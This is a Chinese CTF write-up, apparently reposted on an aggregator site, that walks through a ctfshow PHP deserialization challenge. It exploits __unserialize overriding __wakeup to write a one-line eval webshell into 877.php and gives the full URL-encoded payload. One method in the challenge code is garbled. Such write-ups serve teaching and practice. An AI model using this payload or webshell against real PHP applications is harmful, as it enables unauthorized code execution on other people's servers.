反序列化提升刷题(2)

这篇具有很好参考价值的文章主要介绍了反序列化提升刷题(2)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

今天的例题:
<?php

highlight_file(__FILE__);

class ctfshowvip{
    public $username;
    public $password;
    public $code;

    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function __wakeup(){
        if($this->username!='' || $this->password!=''){
            die('error');
        }
    }
    public function __invoke(){
        eval($this->code);
    }

    public function __sleed
        $this->username='';
        $this->password='';
    }
    public function __unserialize($data){
        $this->username=$data['username'];
        $this->password=$data['password'];
        $this->code = $this->username.$this->password;
    }
    public function __destruct(){
        if($this->code==0x36d){
            file_put_contents($this->username, $this->password);
        }
    }
}

unserialize($_GET['vip']);

还是那个熟悉的五步法:五步法带你搞定反序列化难题-CSDN博客,如果没有学过这个专门应对反序列化难题的方法可以看看我的上一篇文章,既然有了方法,那就得不断训练提升。

第一步:1..先看哪个对象下面的函数和属性能够帮我执行恶意代码

答: eval($this->code);

第二步:我能控制的是啥?

unserialize($_GET['vip']);

第三步:正常情况下这段代码会怎么运行?

首先是反序列化vip,然后反序列化之前会触发wakeup()——魔术方法,接下来反序列化后又会触发destruct()——魔术方法,然后勒,就结束了。

第四步:要执行恶意代码,该怎么做?(即为通过我所能控制的东西,如何才能执行恶意代码?)

这里要从后往前推导,

我必须要 eval($this->code);所以必须执行

 public function __invoke(){
        eval($this->code);
    }

invoke魔术方法对吧

问:怎么执行invoke()——魔术方法?

答:把对象当成函数调用。

问:如何把对象当成函数调用?

答:找找有没有return fuction之类的,看看,在哪里突破,这里我找了一会,发现了不对劲,找不到,线索断了。接下来怎么办?肯定是你前面错了。我会去又重新审视了下代码,发现前面步骤错了一个,导致后面都错了。

根据yink12138师傅的说法,

1.当__serialize和__sleep方法同时存在,序列化时忽略__sleep方法而执行__serialize;当__unserialize方法和__wakeup方法同时存在,反序列化时忽略__wakeup方法而执行__unserialize

2.__unserialize的参数:当__serialize方法存在时,参数为__serialize的返回数组;当__serialize方法不存在时,参数为实例对象的所有属性值组合而成的数组
 

换句话来说根本就不可能执行eval(),因为invoke()——魔术方法根本不可能触发。

那就又回到了第一步,从哪里执行恶意代码?

我重新进行了一遍代码审计,发现了端倪

__destruct()方法中的file_put_contents()函数只有这个突破点了。

为了防止各位能够更好明白这个函数,举个例子:

功能:
将数据写入文件:

<?php
echo file_put_contents("test.txt","Hello World. Testing!");
?>


上面代码的输出将是:

21

Hello World. Testing!因为这个是21个长度,就是往test.txt里面写入的。

那么如果我能够写入的话,我第一想法是一句话木马,然后蚁剑连接。好,思路完成。

 public function __destruct(){
        if($this->code==0x36d){
            file_put_contents($this->username, $this->password);
        }
    }
}
我们主要看这个地方

0x36d是877(十进制)的十六进制

在__unserialize()中,会将username和password拼接起来赋值给$code,

第五步:开始注释代码修改原代码

<?php
class ctfshowvip{
    public $username;
    public $password;

    public function __construct($u='877.php',$p='<?php eval($_POST[a]);?>'){
        $this->username=$u;
        $this->password=$p;
    }

}
echo urlencode(serialize(new ctfshowvip()))
?>
 

运行结果:

O%3A10%3A%22ctfshowvip%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22877.php%22%3Bs%3A8%3A%22password%22%3Bs%3A25%3A%22%3C%3Fphp+%40eval%28%24_POST%5Ba%5D%29%3B%3F%3E%22%3B%7D

payload:

?vip=O%3A10%3A%22ctfshowvip%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22877.php%22%3Bs%3A8%3A%22password%22%3Bs%3A25%3A%22%3C%3Fphp+%40eval%28%24_POST%5Ba%5D%29%3B%3F%3E%22%3B%7D

再访问877.php,接下来连接蚁剑就好

反序列化提升刷题(2),web安全,PHP,反序列化

这flag居然没有放在www根目录,真的让我好找。

,真诚希望我的文章能够帮助大家,谢谢!

反序列化提升刷题(2),web安全,PHP,反序列化文章来源地址https://www.toymoban.com/news/detail-810419.html

到了这里,关于反序列化提升刷题(2)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 不安全的反序列化(php&java)及漏洞复现

    A8:2017-不安全的反序列化 A08:2021-Software and Data Integrity Failures 为什么要序列化? 序列化, 将对象的状态信息转换为可以存储或传输的形式的过程 ,这种形式大多为字节流、字符串、json 串。在序列化期间内,将对象当前状态写入到临时或永久性的存储区。以后,就可以通过从

    2024年02月09日
    浏览(55)
  • 【WEB安全】不安全的反序列化

    序列化和反序列化是指用于将对象或数据结构转换为字节流的过程,以便在不同系统之间进行传输或存储,并在需要时重新构造。 **序列化是指将对象或数据结构转换为字节流的过程。**在序列化过程中,对象的状态和数据被转换为一系列字节,这些字节可以按照一定的协议

    2024年02月16日
    浏览(54)
  • Web安全--反序列化漏洞(java篇)

    序列化的意义就在于方便存储和传输,永久的保存到硬盘中,通常保存在一个文件中。 序列化:将java对象转换为字节序列的过程 反序列化:序列化的逆过程,从储存区读出字节序列还原成对象的过程 java应用在对用户的输入没有进行严格的检查时,即传入了不可信的数据做

    2024年02月09日
    浏览(55)
  • Day60:WEB攻防-PHP反序列化&POP链构造&魔术方法流程&漏洞触发条件&属性修改

    目录 PHP-DEMO1-序列化和反序列化 序列化操作 - 即类型转换 序列化案例 PHP-DEMO2-魔术方法触发规则 __construct(): //当对象new的时候会自动调用 __destruct()://当对象被销毁时会被自动调用 __sleep(): //serialize()执行时被自动调用 __wakeup(): //unserialize()时会被自动调用 __invoke(): //把对象当

    2024年04月27日
    浏览(40)
  • [网络安全/CTF] BUUCTF极客大挑战2019PHP解题详析(Dirsearch使用实例+php反序列化)

    提示:有一个良好的备份网站的习惯 故使用dirsearch工具扫描目录 得到的扫描结果中包含www.zip目录 通过url路径下载zip文件: index.php中含有关键代码: Get传参传入一个参数select,后端将其序列化 class.php: construct 是构造函数,在对象被创建的时候自动调用,进行类的初始化,

    2024年02月05日
    浏览(78)
  • 小迪安全47WEB 攻防-通用漏洞&Java 反序列化&EXP 生成&数据提取&组件安全

    # 知识点: 1 、 Java 反序列化演示 - 原生 API 接口 2 、 Java 反序列化漏洞利用 -Ysoserial 使用 3 、 Java 反序列化漏洞发现利用点 - 函数 数据 4 、 Java 反序列化考点 - 真实 CTF 赛题 - 审计分析 # 内容点: 1 、明白 -Java 反序列化原理 2 、判断 -Java 反序列化漏洞 3 、学会 -Ysoserial 工具

    2024年04月10日
    浏览(64)
  • WEB攻防-Java安全&原生反序列化&SpringBoot攻防&heapdump提取&CVE

    知识点: 1、Java安全-原生反序列化-3大类接口函数利用 2、Java安全-SpringBoot攻防-泄漏安全CVE安全 序列化是将Java对象转换成字节流的过程。而反序列化是将字节流转换成Java对象的过程,java序列化的数据一般会以标记( ac ed 00 05 )开头,base64编码的特征为 rO0AB 。 JAVA常见的序列化

    2024年02月03日
    浏览(42)
  • 刷题日记01:序列化和反序列化二叉树

    一.概念理解: 题目如下:https://leetcode.cn/problems/xu-lie-hua-er-cha-shu-lcof/ 何为序列化? 序列化我们可以理解为层序遍历的结果,即将所有的结点的信息,按照层序遍历的结果拼接到一个字符串中,但是与一般的层序遍历有所不同的是:序列化要输出所有的结点信息,而层序遍历

    2024年02月13日
    浏览(56)
  • 【精选】PHP&java 序列化和反序列化漏洞

    目录 首先 其次 技巧和方法

    2024年01月23日
    浏览(52)
  • Java反序列化和PHP反序列化的区别

    反序列化存在的意义是为了数据传输,类是无法直接进行传输的。通过序列化后转换为字符串格式或者JSON格式进行传输 。 序列化与反序列化 seriallization 序列化 : 将对象转化为便于传输的格式, 常见的序列化格式:二进制格式,字节数组,json字符串,xml字符串。 deseriall

    2024年02月07日
    浏览(39)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包